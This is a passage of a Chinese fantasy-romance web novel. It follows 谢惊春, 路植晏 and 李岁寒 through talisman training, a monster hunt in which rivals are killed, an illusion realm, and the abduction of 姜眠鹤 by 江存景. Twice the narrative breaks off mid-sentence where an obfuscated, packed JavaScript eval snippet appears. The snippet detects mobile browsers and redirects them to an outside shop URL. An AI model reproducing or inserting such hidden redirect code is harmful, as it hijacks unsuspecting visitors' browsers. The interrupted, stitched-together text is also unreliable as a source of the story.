谢惊春突然回头,眼睛睁得圆溜,抬眉看着他:“她故意的?” 路植晏轻敲着脸颊的双指停了一下,斜眼对上她的视线:“她觉得一定会有人去桃源,「出」卷是诱饵。至于「进」卷,除了自己要用,她定然也不敢随便交与别人。毕竟万一进去许多人,桃花源必然会生乱象。” “嗯,有可能,或许是桃源法器众多,又有他们口中的妙成女君坐镇,若是路叔叔能再入桃源,她有把握让路叔叔出不来。”惊春揉揉太阳穴,“但我更好奇的是,她是如何进去的?和路叔叔一样是偶然还是有人给了她「进」卷?况且桃花源是妖怪的地盘,那里的妖怪不会吃了她吗?” 路植晏说道:“听说桃花源灵气天成,至纯至净,那些妖怪只吸收灵气以求早日幻化成人,过上和人一样的生活,并不吃人。” 整个当阳如同沉睡了一般,他们坐在半山腰说了许久,时不时因为观点不一音量大起来,吵得树上鸟雀叽叽喳喳地抗议。 不过他们倒是有个共同的特点:愿意将对方的话听完之后,再指出自己认为不合理之处。 “只是没想到你的别妄铃,居然是桃花源的东西。” 谢惊春不禁扭过身子,拽起他的碎发往耳后一别,然后对着他的铜铃细细看着,还扯了扯下面悬着的红绿绳。 少女平静却又温热的呼吸,富有节奏地打在他的耳廓和脖颈间。她身上还有着一股极淡的,只属于少女身上的香味,有点像奶香又有点像桃花香,说不上来,但绝对与三花阁和常宁室的扶心香大不相同。 这点香味肆无忌惮地钻进他的鼻孔,随后转为红晕,化在耳根处。 “嘶——为什么你下手总是没个轻重?”路植晏皱眉似是吃痛,一把打开她的手,别过脑袋,快速捂住耳朵。 谢惊春慌忙收回手:“啊,对不起对不起,我不是故意的。” 路植晏白了她一眼,没再说话。 她等了一会儿,看他还捂住耳朵,忧心又有些自责地问:“还疼吗?” 她感觉自己的动作明明很轻啊。 路植晏腾地站起身:“太晚了,回去睡吧。” 谢惊春讷讷地点点头,揉了揉干涩的眼睛,打了一个长长的哈欠:“没想到居然和你喷到这么晚。” “我倒是也没想到。” 两个人各奔东西。 回到房间喝了口水,路植晏终于想起方才他想问的是:既然如此,你为何不来找我?反而去找他?你也觉得我不如他? 17. 当阳(十七) “好久没有和你一起吃饭了,你也太拼了吧,不知道的还以为你要去太象山猎妖呢!” 姜眠鹤抱着惊春的胳膊摇晃,腰上的千华打得惊春屁股疼。 谢惊春换了个边:“没办法啊,谁让我学得慢,悟性太低。” “对了眠鹤,你是不是马上就要去太象山了?” “嗯嗯,还有三天,突然感觉还有些紧张。” 一想到太象山,谢惊春便想起那个猥琐的江存景,不禁有些为姜眠鹤担心,不过到时候有路知慎出面也不会有事了。 “姜眠鹤姐姐!” 正在此时,李岁寒像个馒头一样飞奔而来,强行夹在姜眠鹤和谢惊春中间,给谢惊春都挤到边边上去了。 谢惊春整个人都不好了:“你来干什么?” “我认识姜眠鹤姐姐比你早,凭什么后来者居上?”李岁寒身高不够,看谢惊春只能昂着头,可阳光又刺眼,他在气势上就已经颓了。 “你起开!”谢惊春一指一指地掰开他抱着姜眠鹤胳膊的手,“哪学的话?什么叫我是后来者?” 姜眠鹤一看气氛如同被点了引线的炸弹,一路燃烧着,连忙架起两人的胳膊:“哎呀,你们两个真是够了。饿死了饿死了,快吃饭吧!” 李岁寒:“谁先吃完算谁赢!” 谢惊春:“我为什么要和你比?赢了有什么好处吗?” “你赢了以后我叫你一声大爹。” “那行吧,开始吧。” 姜眠鹤瞠目结舌,无法理解这两个人在发什么癫。 可更让她目瞪口呆的是,上一秒还在悠哉悠哉的谢惊春,下一秒立刻埋进饭碗,如饿虎吞羊,气势汹汹,风卷残云。 谢惊春从怀中掏出帕子,慢条斯理地擦了擦嘴,优雅地扶了扶头发。 只是她不会梳发髻,再加上她的头发又多又蓬,实在不好打理,只能梳个麻花辫,也没什么好扶的。 姜眠鹤推了推还在战斗的李岁寒:“你要不要抬头看看……” 李岁寒随便扫了一眼,可这一眼就让他整个人蒙在那儿。 半晌,他才嚷嚷着:“你浪费,你肯定给倒了!” “输不起早说,害得我的形象都没有了。”谢惊春眉毛上扬,不屑地瞥了他一眼。 李岁寒捏紧拳头,胸膛剧烈起伏,嘴唇挣扎半天,想要说出那两个字,可怎么都说不出口:“谁说我输不起了?!” “惊春,他……” 姜眠鹤有些为难,想要提醒她。 谢惊春一甩手:“切,算了算了,我比你多吃六七年的饭,喉咙眼大,胜之不武。” 李岁寒眼睛陡然睁大,他没想到这个和自己三句话就说不到一块去的谢惊春,居然这么轻而易举地放过自己,还以为她会逮住机会报复呢。 他僵在那儿,低着头看不清神色,最后扔下一句:“算我欠你一次,下次我赢我也可以放你一马。”就飞快地冲了出去。 谢惊春莫名觉得有些好笑。 “岁寒的父母在他幼时,就被妖邪害死了。”姜眠鹤声音低低的。 谢惊春正色,点点头。 其实她大概也能猜到,上次在修场,她提到了他的父母,当时他整个人就不对劲了。 “你来晚了,我待会一定会和路二哥告发你。” 听竹林中,李岁寒莫名其妙对着谢惊春扎起了马步,时不时还对着空气怼两拳。 谢惊春冷哼一声,兀自绕过他,将手中的无名转来转去,挽起了剑花。 不过令她欣慰的是,用起无名练剑,好像确实进步快一些,虽然有可能是心理作用,但如今也算是将太龙三式练得七七八八了。 这剑术有了一丢丢的起色,可遗憾的是到现在为止,她只会画护身符,其他符箓一张都没有画出来过。 难道自己注定就是个苟王? 太阳早已西落,谢惊春仍在和符箓相爱相杀。 “函笈之光,不啻三千,天敕地赋,以火绕行!” 看着一张张被只燃烧了边角的符纸,路植晏捡起一张,下一秒,“哗”的一声,巨大的火球蓦然冲起。 谢惊春感觉热浪扑来,将她面前的氧气全部烧尽,她一口气没喘上来,蹲下来猛咳。 “路植晏……咳咳咳……” 罪魁祸首反而笑着走过来,弯腰歪头看着她黑黢黢的脸:“谢大小姐,我有一法,可助你速成火符,想听吗?” “什……咳!什么?” 路植晏也蹲下身,从怀中掏出八张符箓:“这里有五行,千里,护身,定身符各一张。你今夜睡时将它们放于枕底,明日一早再烧成灰烬和水喝下,届时别说火符,所有的符法你均能攻破。” 谢惊春满脸狐疑:“你怕是骗人的。” “谢大小姐若是不信,自行去练便好。符法本也不是急于求成的。” “我信我信行吧,那多谢路二公子了,你给我吧。” 谢惊春伸手想要拿,却被路植晏躲过,他双指一撇,手中又多出一倍多的符箓。 “谢大小姐可能需要喝得多些。” 谢惊春自是不会傻到真将这些符箓烧成灰烬喝下去。 第二天,路植晏便问她:“如何?喝下去了吗?” “路二公子教得如此认真,我当然得喝了,就是灰有点苦。” 路植晏扬眉:“你真喝了?” “那不然呢?”谢惊春也学着他的表情。 “那好,你给我过来。” 谢惊春被他拉到李岁寒旁边,他想说什么,但明显犹豫了一会儿。 “明日我带你们去太象山猎妖。” 谢惊春撒开手:“为什么?我才学个边边角角,去了也是送死。” “你又不是没见过妖,凌阳之行你不是杀过妖怪了吗?” “那不是因为……”谢惊春突然想起来,路植晏当时在自己耳边不知念了什么,让她居然能在一瞬间学会缚妖阵,甚至在那之时连动作都觉得变轻快了些。 既然如此,能不能…… 她抬眼看着路植晏,在夕阳的照耀下而闪着金光的眼睫忽上忽下,一双杏眼明眸中充满了期待和恳求。 路植晏瞥了一眼就知道她在想什么捷径,断然冷声:“没门。” “可太象山妖怪太多了,我害怕……” 李岁寒立马夹了一句:“我就知道你会害怕,路二哥,你别带她,我一点也不害怕。” 谢惊春真是讨厌死李岁寒了,对身边人都是一副单纯小孩儿的模样,只对自己耍各种小把戏。 所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968312|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一听这句话,立马就梗着脖子来劲了:“我话还没说完呢!我说的是,我害怕岁寒弟弟会吓哭呢。” “呵呵呢,我看你今天晚上得紧张地睡不着了吧~”李岁寒现在学聪明了,被谢惊春怼回去,他不会单单无能狂怒,而是学她的腔调。 谢惊春俯身捏住他的喉咙,非常友好地提醒道:“你再学?到了变声期,小心以后变成公鸭嗓。” 路植晏不知自己发什么神经收了对喇叭,天天从早到晚小嘴叭叭的吵得头疼。 说归说,闹归闹,谢惊春确实紧张得睡不着觉。 突然发现这句话挺押韵的她,立马从床上爬起来,连夜把路植晏教的东西都复习一遍,并将那十几张符箓好好地揣在怀里,但感觉很不方便,因为她想装更多的东西。 于是,她又翻箱倒柜找出一个破烂风的麻布斜挎包,虽看着有些寒碜,但好歹能装。 “阿爹托人送来的那些法器装哪儿?”谢惊春整个身子都伏进箱子里,七拣八挑地拿出一堆法器,但大多数都不知用途,整了几个颜值高的塞进破烂包里,她还是感觉不放心。 本着多多益善的原则,她又地找了一些,却在这些奇形怪状,不知所用的法器中,找到了——一本书。 “《大少爷的奇遇手札》?” 谢惊春费力识别了很久,才将书封上的几个字认清楚。 书面泛黄,看起来破破烂烂,像是被老鼠啃过,完了还在上面撒了几泡尿的那种,闻起来有一股怪怪的味道。 不知是尿骚味还是时间味,但值得肯定的是,这本书一定很久远,最起码属于十年前。 上面的字迹模糊,有的还被水晕染过。 “大少爷?” 谢惊春第一反应就是给扔了,但是出于人本能的好奇心,还是让她捻着指尖翻页,就是想看看这个劳什子大少爷到底有何奇遇。 第一页:“没想好写什么。” 第二页:“无聊。” 第三页:没有文字,只有一只大乌龟。 里面好几张纸还黏在一起了,不知道是拜什么不明液体所赐,谢惊春直接翻到最后一页。 是个半圆弧,以及潦草的几个石头,看起来像是山洞,洞口上写了四个字:问心者死。 手札的主人似乎改变主意,将那「问心者死」划去,又添了四个字:「岁岁平安」,还附赠一个丑萌丑萌的乌龟笑脸。 别说,这个笑脸还挺可爱。 但是,什么玩意儿? 还以为是什么武侠剧里大佬的武林秘籍呢! 浪费时间。 谢惊春随手将书放在桌子上,拿起无名和金樽,纠结明天带哪把。 最后索性不想了,直接把两把都带着吧。 她背上鼓鼓囊囊的破烂包,再把两把剑都挎腰上,在房间里跑了几圈,提前演练一下万一遇到性命威胁,她的速度能否逃离虎口。 不行,感觉好重。 而且一跑起来,那些法器就哗啦啦地响,跟交响乐一样,且乐曲名就是——《我在这,快来把我咬成稀巴烂呀!》 很多东西她都是拿拿放放,纠结来纠结去,生怕它会派上用场,又怕它派不上用场。 思索了一个晚上,谢惊春终于发现—— 天亮了。 18. 当阳(十八) 谢惊春背了两把剑,挎了一大包不明物体,哼哧哼哧地走过来时,把一众人都给干懵了。 姜眠鹤冲过去,乐呵呵地掂了掂她的包:“喔,我也是刚知道你和岁寒也要去。不过惊春,你这些都是什么呀?” 路植晏更是不明所以,他眸色暗了几分,语气生硬:“你,这是做什么?” 不相信我能保护你们? 因为,李岁寒这个小子昨天晚上也没睡着,做了和谢惊春同样的事。 “我寻思多带点,以防万一。” 谢惊春没当回事,顺口应了一句,就随便从包中掏出一个法器遁身环,神神秘秘地让他们猜这个怎么用。 此环外观与阴阳乾坤镯十分相似,由枣木制成,两环相扣,上面的刻字早已被磨得看不清。 李岁寒咋呼呼地吹嘘着简单,说就是个普通的炼性镯,没什么大不了,肯定是随便一拉。 随便一拉,下一刻,李岁寒整个人立马消失在原地。 “哎?臭小子呢?!”谢惊春一脸懵。 姜眠鹤也满头雾水,但想起点什么:“这好像是遁身环,可以随机传送,近至咫尺,远在天涯,都有可能被传送过去,不知道岁寒他……” “师妹!”李岁寒气喘吁吁从不远处跑过来,“这个好好玩吧,你再给我换一个玩玩!” 听姜眠鹤方才一说,谢惊春赶紧将遁身环夺了回来,义正言辞地拒绝:“不行了,乱用法器万一把自己搭进去,我赔不起。” “小气鬼,你就给我玩玩嘛……” “不行就是不行!” 路植晏心口不由得冒火,他抿紧唇,眉目阴沉,站在一旁静静地看着叽叽喳喳的几个人。 他扫了一眼路知慎,路知慎站在路思贤和路夫人身侧,视线始终落那抹黄衣的身上,他们三个人装扮相似,清雅俊逸,衣带飘飘。 这一幕莫名燎痛了路植晏,辰时的太阳有些扎眼,少年右眼下的肌肉微颤。 他赶紧移开视线,却不知道该看什么,是看从后山隐约伸出的八卦楼,还是看层层叠叠的云朵,还是看熙熙攘攘的人群。 马上,他就要离开当阳,去东南天山道,寻那缥缈的桃花源。 “你去桃花源,找到妙成女君,将别妄铃给她。再在此处寻密花洞,那里藏有一剑,剑匣木与你脖间雷惊木同生,上有封印,你切不可动,只将它带回来。” 前夜,路思贤将他叫去净目亭,本以为又是受罚,没想到竟是为了桃花源之事。 “记住,不找到桃花源绝对不能回来。”说罢,路思贤将自己头上的木簪取下递给他,“你马上十八岁,也刚好游历一番磨磨心志。” 路植晏平静地接过,他无所谓离开当阳,脱离了路思贤的掌控,没有永无休止的受罚和对峙,他甚至非常乐意。 可现在,竟也有些说不上来的失落。 天地镜一开,人群如蜂往回象山走。 “路植晏,你在看什么?”谢惊春不知何时乐嘻嘻地走过来,她转身将自己所负双剑碰了碰他背上的双剑,“怎么样?我这样交叉着弄帅多了吧。” 路植晏将杂乱的视线收回,眼神骤然凌厉如锋,一字一句间都透着寒意:“关我什么事?” “哎?你怎么了?” 谢惊春有些莫名,只得匆忙追上他的步伐。 一踏入太象山,他们便觉得燥热难当,和天地镜外仿佛是两个季节。夜幕黑得沉重,一棵棵苍天大树将整个回象山包裹得如同一个结界。 他们只得借着朦胧的光前进,地上爬虫繁多,时不时会一脚踩进一处松散的小土堆里,里面密密麻麻的小虫子瞬间四散开来。 李岁寒冷不丁抖了几下,感觉脚里面仿佛有什么东西在钻来钻去的。他吓得也不嫌鞘硬,一下子跳到离他最近的谢惊春的背上,手上不自觉发力,勒得惊春几乎喘不过气来。 “臭小孩,你给我下去!” “不干不干——” 两个人在一旁打成一团。 “我们刚刚在外面明明是早晨,为什么到这里就是晚上?” “这里并非是晚上,只是被设了雾障,不见天日。” 越往丛林里面走,他们几乎要被蚊虫抬起来了,李岁寒是小朋友,他的血更受那些小虫子的欢迎。 没一会儿,他的手上,脸上就已经起了几个小红点点,痒得他抓这儿也不成,抓那儿也不是。 “哎,他们人呢?”李岁寒拽了拽谢惊春的衣袖。 他们回头望去,才发现姜眠鹤和路植晏都不见了,谢惊春立即环视一圈,可周围雾气弥漫,可视距离很短,她并不敢轻举妄动。 “惊春?” 雾影里,姜眠鹤跑了过来:“可算找到你了,这里雾越来越大了,我们必须一起行动,要不然很危险的。” “嗯好!可是路植晏没和你们一起吗?”谢惊春问道。 “他一开始就走在后面,不知什么时候走落下了。” 话音刚落,路植晏一个滑铲,飞身闪现,背对着他们,目光如炬。 一个巨大的黑影冲破浓雾,四周树木被撞倒。 路植晏站起身,看了眼姜眠鹤,示意她退后。 姜眠鹤心领神会,立马退居几百米外。 霎时,正面战场就只剩李岁寒和谢惊春了。 “这只妖兽是我特地为你们引来的,我今天布置的修行任务就是,猎杀它。” 路植晏后撤几步,双指轻击自己的胸口,符箓自行飞出,形成一个圈,将他们围住。 “耶!太好了!”一旁的李岁寒自顾自地嗨起来了。 谢惊春的心似乎定了定,自己到底在怕什么,路植晏肯定有分寸,他为他们引来的,那必然是在他们能力范围内。 她尚不能熟练运剑,但是也是练到了太龙三式,紧赶慢赶也算是完成了惜慈师姐当初定的目标。想到这里,谢惊春的眼神瞬间坚定了不少。 那妖兽身形如鼎,面上独有一目,无鼻无嘴,头顶两耳似鹿角。身上长满了乌青的鳞片,鳞片上流淌着浓稠的粘液,有时会像树脂一样滴落下来。它身上看起来最具攻击力的应当是背上的那两条硬刺,如山脊从头部蔓延至尾巴。 许是察觉到杀机,它嚎叫着,发出摄人的低吼。 它的吼声倒不像一般妖兽或洪厚,或尖锐,反而像是在狭窄山间的回声。 谢惊春和李岁寒同时拔剑,互相看了一眼,随后立刻冲上前。 妖兽刨了刨地面,巨大的眼珠灵活地转动,视线始终跟随着他们。 突然,它蓄满力奔跑起来。没想到它看起来笨重,可是行动却是异常敏捷。 低矮的灌丛和爬虫一瞬间如轻飘飘的一张纸,浆水迸裂。 李岁寒激动地大喊:“小师妹,等着瞧吧!” 谢惊春来不及理会他,借力踏过树干,翻身从空中降落。她握紧金樽,剑锋划过潮湿的空气,刮过妖兽脊背上的硬刺。 巨大的阻力感让她急忙加大手上的力道,妖兽猛地跳起,谢惊春速而撑着它的脊背右侧,灿烂若霞的裙摆在空中划过一条弧线后迅速落地。 李岁寒趁机将符咒贴于妖兽额头,随后掐指念诀,真火燃起,可他毕竟也只是个孩子,本就不大的火焰不一会儿就灭了。 热浪袭进眼睛,妖兽情不自禁闭了眼,可也只是一瞬,它睁开眼,再次发出低吼,疯狂地晃动着身体,扫动着尾巴。 他们顺着它的动作反跑起来,谢惊春横持金樽,找到时机从妖兽的肚皮底下划过。 她一直都很奇怪它既然没有嘴巴,为何能够发出声音。刚才见它吼叫,感受到凉意的是脚脖子。如今看来它不是没有嘴,而是嘴不在面上,而在肚皮下。 妖兽的肚皮虽然没有脊背那般像铜墙铁壁,可还是异常坚硬,剑锋灼闪,谢惊春紧急贴上一张符箓。 她刚出来,它灵活的尾巴如一道铁鞭扫了过来。 李岁寒快速运剑,死死地定住尾尖。 谢惊春的鬓发散乱,手上和身上都沾了些恶心的粘液,长期握剑的虎口处的伤口再次破裂,渗出血来,她不禁微微蹙眉。 但这点痛感对她而言都是毛毛细雨,她一指一指地发力,再次握紧了金樽,鲜血从殷红的裂缝中不断渗出。 李岁寒双手交叉,命剑不断晃动。 谢惊春赶紧滑至正面,拼尽全力,一剑封入那黝黑的独目中。 “小孩!退开!”谢惊春感受到不对劲,连忙大喊。 电石火光间,李岁寒收剑,剑身回旋,他借着命剑的向心力跳上树枝。 刚才刺入的时候,谢惊春分明感受到一股强大的力量阻挡了她。 她本觉得自己想错了,它的眼睛这么大又暴露在正面,怎么可能是弱点。可是金樽刚刚却直直地插了进去,突破了眼前看不见的束缚。 妖兽大怒,似乎是没想到自己的眼睛有朝一日会被刺穿。它的肩胛骨猛缩,脊上硬刺一根根竖立起来,身形也比刚才大了一圈。 看来,这才是它的真正形态。 它的复眼上翻,硬生生将金樽弹了出去,瞳孔变成如海的蓝色。 被弹出去的金樽如同曳羽长箭,直直地朝着谢惊春的方向袭来。 谢惊春扫了一眼周围林立的树木,借力一蹬,横向接住剑柄,掌心摩擦,传来粗砺的痛感。 她紧蹙眉头,死死咬住牙齿,阻止金樽继续飞后,跪在地上旋转几圈,才彻底将力卸下。 “哎,惊春!岁寒!”姜眠鹤在一旁看得眉毛都拧到一起了,一双俏皮美丽的狐狸眼中充满了担忧。 容不得二人喘息,妖兽再次蓄力而来。 他们已经打了将近半个多时辰,身上都挂了彩,而那妖兽的精力而并没有被消耗多少,若是再不赶紧解决的话,胜利的希望只会更加渺茫。 谢惊春知晓必须速战速决,自己和李岁寒的体力都一般,一直灵活地躲避或运剑都是瞎费功夫。 她解下手腕处系的红色飘带,将剑柄和手紧紧地绑在一起。 来不及调整呼吸,她只是将所有力气倾注于右手,猛将金樽扎入地面。 刚刚才停止流血的伤口再次崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984699|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂。伤口蔓延,不一会儿,半只手都是鲜红一片。 鲜血顺着剑脊而下,湮没在地里。 路植晏眉头不禁一紧,脚步微动。 可下一秒他便停下,静静地站在那里。 刹那间,一股势不可挡的气流向四面八方横切,发出震耳欲聋的音爆,巨大的缚妖阵急急跳出,金光乍现。 连周围的雾气都被冲开,阳光刺入,清明出现。 路植晏紧紧盯着谢惊春,刚才在镜外还敷满戾气的脸上,此刻多了几分忧心和疑惑。 李岁寒没有撑住,被吹开一段距离。 谢惊春拼尽全力按死疯狂摇晃的金樽,头发彻底被吹散,万千青丝疯狂飞舞。 她一步一步地挪动,待到气流稍稍稳定,便用尽全身力量冲到李岁寒身旁。 “惊春!岁寒!”姜眠鹤急得直跺脚,拔出千华就要冲上前去。 路植晏却抬手:“或许他们比我们想象的要厉害。这时候帮他们,会让他们前功尽弃。” “臭小孩,你没事吧?” 李岁寒:“我才不会有事呢,刚刚只是不小心。” “叮” 妖兽一踏入阵心内,谢惊春拉过李岁寒,二人快速跳出。 所有人都注视着这一切,静静地等待着结果,大气都不敢喘。 特别是谢惊春,额前控制不住地冒出冷汗。她屏住呼吸,好像这样会加强缚妖阵的力量一样。 妖兽急忙转向,它依旧跑得极快。 难道没用吗?怎么会? 谢惊春的呼吸不觉急促起来,胸口的起伏越来越大,她紧皱着眉头,双眼酸涩。 自己真的什么都做不成功?明明她感受到了啊,感受到那少有的信心。 就算是不行,也要带着李岁寒离开,它发起怒来更不好处理。 她拽起浑身脏兮兮的李岁寒,与此同时,一道凄厉的惨叫声袭来。 缚妖阵迅速收缩,将妖兽包裹,霎时光芒更甚。 “师妹,成功了!” 谢惊春转过头,看了几秒后,确定妖兽完完全全被控制住后,挂着血的脸才敢露出淡淡的笑。 真的,成功了!耶耶耶!她情不自禁地拍打着李岁寒的肩膀。 “师妹,疼死了!” “噢噢哈哈哈哈,对不起对不起!” 她沉浸在喜悦中,完全没注意到右侧一道剑影飞了过来。 两剑交缠弹开,长吟插于地,而另一剑落于地。 “想抢?那得看你有没有这个本事!” 长吟横扫,不远处的树木被砍断,两个陌生的人影显现。 两人见事未遂而败露,便想立马收剑逃跑。 路植晏并不打算放过他们,长吟抵喉,逼得他们步步后退。 “你想干什么?我告诉你,待会我们大师兄就来了,到时候有你受的!” 路植晏一手一个:“哦~是吗?那让你们大师兄赶紧滚出来见我!” 他用力一丢,二人登时摔了个狗吃屎。地上都是妖兽身上的粘液,冒浆的爬虫尸体,还有密密麻麻的蚁窝,没吃屎胜似吃屎了。 “大师兄岂是说见就见的!” 二人异口同声,爬起来啐了几口,做势就要刺向路植晏。 谢惊春连忙道:“臭小孩,咱们快收妖,不要让他人趁乱夺了去!” “好!” 二人也不磨蹭,即刻祭剑。 可只一瞬间,一道白虹贯日,李岁寒被不明剑气击开数米,胖嘟嘟的身体重重撞上树干后昏迷,嘴角瞬间汨出鲜血。 “臭小孩!” 一剑入心。 妖兽挣扎,发出最后的嘶鸣,转眼间灰飞烟灭。 那人一身青绿长袍,麻履丝绦,手抱桃枝,看起来倒是一副出尘模样。 谢惊春扶着昏迷的李岁寒,气得咬牙切齿,面上发红,高喊一声:“金樽!” 金樽就像是得到什么指令,震颤不停,急速腾空。 路植晏转身看见这一幕,微椭黑色双眸低垂,睫毛斜打下一片阴影,周遭气流陡升。 指剑。 金樽与长吟上下绕行,交缠翻飞,风息融动,发出从未听过的锵声。 “大师兄!”那两个小厮见路植晏有所松懈,急忙爬向青衣人。 双剑气势逼人,还未至身前,那人已经感受到了强烈的压迫感,他自知无法抵挡,一挥怀中桃枝,一股奇妙的熏香蔓延开来。 然而剑势不减,刺眼的血如喷泉一样从那黑色的豁口里喷涌而出,青衣被染成黑色,那人的头控制不住地抖动,嘴里还时不时吐出几口血,双目圆睁。 没一会儿便断了生气,面色青灰。 剑气如风扫过,他身旁的两个师弟也不能幸免于难。 谢惊春大骇,面色霎时惨白,冷汗涔涔。心口像是被一团血块包裹住,气管如同被细钢绳紧紧系住,怎么都呼吸不出来。 她没想到刚才心急,竟然失手杀人了! 先前被打散的浓雾慢慢卷涌,周遭再次陷入蔽天冥蒙。 19. 当阳(十九) 不知何时,空气中的燥热褪去,渐渐让人感受到了凛冽的寒意,透过毛孔肆无忌惮地钻进血管,似乎要将血也冻住。 此时的密林安静得出奇,整个太象山仿佛被封缄住。 “姜眠鹤呢?”路植晏背着李岁寒,蓦然出声,两人同时顿住了步伐。 对啊,姜眠鹤呢? 树上的鸟儿惊飞,发出凄厉的叫声,几片羽毛洒下,与谢惊春的手臂擦肩而过。 她谨慎地扫了周围一圈,觉得有些怪。 浊风吹过,带来了一股让人作呕的血腥味,和,尸腐味。 谢惊春颤抖着向后睨去。 三尸并立,赫然出现在她身后。 三道黑色的长口如喉间的眼睛,直直地盯着她。 她感觉自己的后背已经湿透,汗水沿着脖颈往领间流,襟前尽湿。 路植晏轻轻将李岁寒放下。 而此时三具尸体的四肢几近折叠,平行于地面,突然诡异地冲爬过来。 谢惊春登时呼吸停滞,鼻子憋得通红。 她还浸溺在刚刚杀了人的恐慌中。 路植晏挡在她身前:“退后。” 发丝带着汗液粘进眼睛里,谢惊春一闭眼便感觉如小刀割裂般的刺痛。 路植晏即刻掏出符纸,一下子封住三尸的行动。 “怎么会尸变?”他诧异道。 强忍着腿上的颤抖,谢惊春深深吸了一口气,舔了舔干涩的嘴唇,嘴唇上不知什么时候沾了血,一股腥锈味充斥着鼻间,惹得人想吐。 她死死捏着裙子和包,紧跟着路植晏,每走一步都小心谨慎,生怕自己的脖子上的平安锁,腰上挂的那些金错银链,以及包中的法器发出一点声音。 在现实生活中只能瞧瞧的东西,在这个世界却拥有很多,她便像个暴发户一样把那些精致玩意全揽身上。 只是现在,这些东西逼得她走得比乌龟还慢。 怪。 越来越怪。 他们又行了一段距离,却总感觉前路漫漫,毫无边际。 更奇怪的是,他们绕了半个多时辰,竟然连一只妖怪,一个人都没有碰见。 直到再次看到地上的三具尸体,路植晏严肃道:“我们在幻境里。” 谢惊春喃喃:“江存景……” 刚刚那个青衣人是江存景?那姜眠鹤现在一定是被他抓走了! “是他。他的幻境最高可达九重,不知我们在第几重。”路植晏看了看这笼罩的迷雾,站开了几步,随后张开双手,双剑立马从背上跳出,稳稳落在手上。 谢惊春望着他:“你想要做什么?” “冲破。” 路植晏语毕,剑锋上开始缭绕着无色气息,他极力一挥,两缕璀璨的剑气盘旋,带着势不可挡的霸道,冲天又落,在半空中如圆化开,骤然吹散一山迷雾。 刹那间,周围浓雾退散,树木急速后移,清风拂面,鬓发轻曳。 “还是不对。”谢惊春扶着李岁寒,皱着眉头看向四周。 路植晏将双剑归鞘,蹲了下来:“红袖招玩骰子,我被贴了几张纸条?” “二十八张。”谢惊春先感到疑惑,接着想到什么,立马说道,“我被贴了多少张?” “十七张。”路植晏又问,“我们约定春旗船经过四次,我便去找你。当我去找你时,你是在红袖招还是在春旗船?” “我们约定的是三次,而非四次。你去红袖招找我时,我就已经在春旗船了。” 话音刚落,谢惊春突觉得脖间一冷。 路植晏瞬间拢起眉峰,抓住李岁寒的手,抬臂肘击,双指打飞他手中的匕首,又转身反手掐住他的喉咙。 速度之快,衣物与空气摩擦出声音来,可谢惊春洁白的脖颈处,还是露出一道浅浅的血痕。 路植晏瞥了眼她的伤口,面上更加冷峻,抿紧双唇,一道如虹剑气狠厉划过,“李岁寒”灰飞烟灭。 压抑的气氛顿时散去不少。 谢惊春摸了一下脖子,指间有些黏腻,但因为手上本来就有伤,流了不少血,所以也没什么感觉。 只是没想到这个李岁寒居然是幻境,更想到在幻境中留的伤能带到现实中来。 “我们出来了?” 路植晏低着头,看不清神色,许久才站起身:“嗯。” 他找到不远处因为昏迷没有堕入幻境的真正李岁寒,把了脉后快速给他点了穴位,又输送了些自己的真气。 不多时,李岁寒便转醒,他呆愣愣道:“发生了什么?” 路植晏的声音先是低低的,像是溺在嗓中,转而才透着些清明:“姜眠鹤估计出事了。” 而此时另一边的姜眠鹤也才刚刚醒来,挣扎了几下,才发现自己被绑得很紧。 她看着面前黑黝黝的陌生环境,心中不由得打起鼓来。 周遭漆黑一片,只有一个差不多半屋高的烛台上顶着一盏昏暗的蜡烛,风不知知从何处透过来,昏黄烛火摇晃。那微微的光亮根本不足以看清周围的陈设。头顶似乎挂着风铎,偶尔会叮叮叮地响。 她低头看向自己的身下,发现自己仿佛坐在一个石床上。 “你醒了。”一身青绿衣的江存景从黑暗中走出来。 姜眠鹤立马秀眉紧拧,露出防备姿态,她对他着实没什么好感。 “我怎么在这里?你又在搞什么鬼把戏?!” 江存景嘴角勾起笑容,狭长的眼睛中露出得意的精光。 他蹲下身一把捏住姜眠鹤的下巴:“当初在当阳山,你不是骂我是傻逼吗?” 姜眠鹤愣了一下,想起来她好像是这样骂过他,只是没想到他这么记仇。 她暗暗想要引出千华,却发现腰间的佩剑不知去哪儿了。 她渐渐知晓现在自己的处境,更知道不能惹恼了疯子江存景。 “当时因为心情不好,故出言不逊,还请江公子大人不记小人过。” 其实姜眠鹤心中在蛐蛐:当时听家主说要给路知慎定亲,我本来心情就不好。你这个陌生人却莫名逮着我不放,一直说在第八重幻境中见过我,还一直说要得到我,我当然会觉得你是个神经病傻逼了。 江存景一笑:“没有没有,我觉得姜姑娘骂得太好了。” 姜眠鹤:“……” “不知江公子是想让我干什么?竟需要将我绑起来。” 江存景抚过她微微发红的脸颊,触感如新荔一般,啧啧道:“再等等。” 姜眠鹤心中一阵干呕,她别过头,想讨好他以此拖延时间的耐心霎时间消散。 “等什么?” “等路知慎来。” “眠鹤会不会已经被江存景带出去了?” 谢惊春当然知道姜眠鹤早已经被江存景带到江家密室中了,也知道会有路知慎救,所以她不想继续在这里待着了。 好不容易知道自己并没有杀人,心情才舒缓了许多,她巴不得赶紧离开这个地方。 